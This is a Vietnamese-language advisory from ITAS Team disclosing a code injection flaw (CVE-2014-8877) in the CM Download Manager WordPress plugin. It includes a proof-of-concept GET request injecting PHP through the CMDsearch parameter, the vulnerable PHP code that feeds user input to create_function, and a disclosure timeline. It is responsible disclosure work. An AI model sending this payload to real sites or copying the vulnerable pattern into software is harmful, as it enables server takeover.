ITAS Team phát hiện lỗ hổng Code Injection trong CM Download Manager WordPress plugin
ITAS Team đã phát hiện một lỗ hổng Code Injection trong WordPress plugin CM Download Manager (https://wordpress.org/plugins/cm-download-manager/). Thông qua lỗ hổng này, kẻ tấn công vô danh có thể upload webshell, chạy các lệnh hệ thống và chiếm quyền điều khiển toàn bộ máy chủ của ứng dụng. Lỗ hổng này tồn tại trong cả 2 phiên bản miễn phí và trả phí. Hiện tại plugin này đã có hơn 36.000 lượt tải, các cá nhân và tổ chức hiện đang sử dụng plugin này cần nhanh chóng cập nhật lên phiên bản đã sửa lỗi 2.0.4.
Thông tin về lỗ hổng:
– Lỗ hổng : Code injection
– Nhà sản xuất : CreativeMinds (https://www.cminds.com/) – CM Download Manager Plugin
– Link download : https://wordpress.org/plugins/cm-download-manager/
– Phiên bản lỗi: version 2.0.0 trở xuống
– Phiên bản đã cập nhật bản vá: version 2.0.4
– Phát hiện bởi: Lê Ngọc Phi – phi.n.le@itas.vn và ITAS Team
::VULNERABILITY DETAIL::
GET /cmdownloads/?CMDsearch=”.phpinfo().” HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1.2.1698795018.1415614778; _gat=1; PHPSESSID=okt6c51s4esif2qjq451ati7m6; cmdm_disclaimer=Y; JSB=1415614988879
Connection: keep-alive
Vulnerable file:/wp-content/plugins/cm-download-manager/lib/controllers/CmdownloadC
ontroller.php
Vulnerable code: (Line: 130 -> 158)
public static function alterSearchQuery($search, $query)
{
if( ( (isset($query->query_vars[‘post_type’]) && $query->query_vars[‘post_type’] == CMDM_GroupDownloadPage::POST_TYPE) && (!isset($query->query_vars[‘widget’]) || $query->query_vars[‘widget’] !== true) ) && !$query->is_single && !$query->is_404 && !$query->is_author && isset($_GET[‘CMDsearch’]) )
{
global $wpdb;
$search_term = $_GET[‘CMDsearch’];
if( !empty($search_term) )
{
$search = ”;
$query->is_search = true;
// added slashes screw with quote grouping when done early, so done later
$search_term = stripslashes($search_term);
preg_match_all(‘/”.*?(“|$)|((?<=[rnt ",+])|^)[^rnt ",+]+/', $search_term, $matches);
$terms = array_map('_search_terms_tidy', $matches[0]); $n = '%';
$searchand = ' AND ';
foreach((array) $terms as $term)
{
$term = esc_sql(like_escape($term));
$search .= "{$searchand}(($wpdb->posts.post_title LIKE ‘{$n}{$term}{$n}’) OR ($wpdb->posts.post_content LIKE ‘{$n}{$term}{$n}’))”;
}
add_filter(‘get_search_query’, create_function(‘$q’, ‘return “‘ . $search_term . ‘”;’), 99, 1);
remove_filter(‘posts_request’, ‘relevanssi_prevent_default_request’);
remove_filter(‘the_posts’, ‘relevanssi_query’);
}
}
return $search;
}
Công bố thông tin:
– 08/11/2014 : phát hiện lỗ hổng
– 10/11/2014 : thông báo với nhà sản xuất
– 10/11/2014 : nhà sản xuất xác nhận lỗ hổng
– 10/11/2014 : nhà sản xuất cập nhật bản vá
– 14/11/2014 : ITAS Team công bố thông tin
Tham khảo:
– https://downloadsmanager.cminds.com/release-notes/
– https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8877
– http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9215
– http://www.securityfocus.com/archive/1/534037
– http://www.exploit-db.com/exploits/35324/